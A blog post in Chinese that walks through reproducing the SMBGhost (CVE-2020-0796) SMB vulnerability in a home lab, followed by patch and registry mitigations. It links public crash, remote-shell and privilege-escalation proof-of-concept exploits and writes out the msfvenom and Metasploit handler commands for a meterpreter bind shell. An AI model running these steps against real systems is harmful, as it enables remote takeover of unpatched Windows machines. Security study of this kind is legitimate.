CVE-2020-0796漏洞复现
漏洞描述:
SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
漏洞原理:
Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
影响范围:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
复现:
一、环境准备
目标机:windows10 1903 x64 ip:192.168.142.129 (关闭防火墙)
攻击机:kali ip:192.168.142.128
windows10 1903 x64迅雷下载:https://sl-m-ssl.xunlei.com/h5/page/download-share/index.html?entry=link&appType=PC&videobtindex=-1&storid=c39vhtrekug5&share_from=dlpage_share_link
二、漏洞检测
工具下载:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
三、漏洞攻击-蓝屏
POC下载:https://github.com/eerykitty/CVE-2020-0796-PoC
利用POC发起攻击
win10 1903马上就蓝屏了
四、漏洞利用-getshell
脚本下载:https://github.com/chompie1337/SMBGhost_RCE_PoC
1、生成反向连接木马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b '\x00' -i 1 -f python
用生成的shellcode将exploit.py中的这一部分替换掉(buf后的字符串,保留USER_PAYLOAD不变)
2、开启msf监听
use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set lport 8888 //监听端口 set rhost 192.168.142.129 //目标主机 run
4、运行exploit.py脚本,反弹shell
按道理来说,这里应该是反弹了一个shell的,可是!!!一直报错,参考原文是要将win10的内存调整到4个G以上,我也调了的,还是不行,只有后面再看看了,有知道的师傅指点指点(抱拳.jpg)
五、漏洞利用-本地提权
下载地址:https://github.com/danigargu/CVE-2020-0796/releases
如果提示找不到dll文件,那么在win10上安装个vc运行库就好了
六、漏洞加固
1、更新补丁
2、微软给出了临时的应对办法:
运行regedit.exe,打开注册表编辑器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。
3、将SMB445通信端口进行封禁
参考:
https://blog.csdn.net/weixin_44677409/article/details/106568350?fps=1&locationNum=2
https://mp.weixin.qq.com/s/SkjMVhFPSf8QsPe23cWjxQ
https://blog.csdn.net/RatOnSea/article/details/106399450
原文地址:https://www.cnblogs.com/xiaoxiaosen/p/13056272.html
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 树莓派Redis集群部署
- Linux防止ssh暴力破解常用方案
- 实用!8个 chrome插件玩转GitHub,单个文件下载小意思
- LeetCode105|有序数组的平方
- LeetCode104|求根到叶子节点数字之和
- LeetCode103|路径总和II
- LeetCode102|二叉树的所有路径
- LeetCode101|路径总和
- LeetCode100|两个数组的交集II
- LeetCode108|数组中重复的数字
- LeetCode107|从上打印二叉树
- LeetCode106|从尾到头打印链表
- LeetCode113|两数之和
- LeetCode112|两数之和II-输入有序数组
- LeetCode111|独一无二的出现次数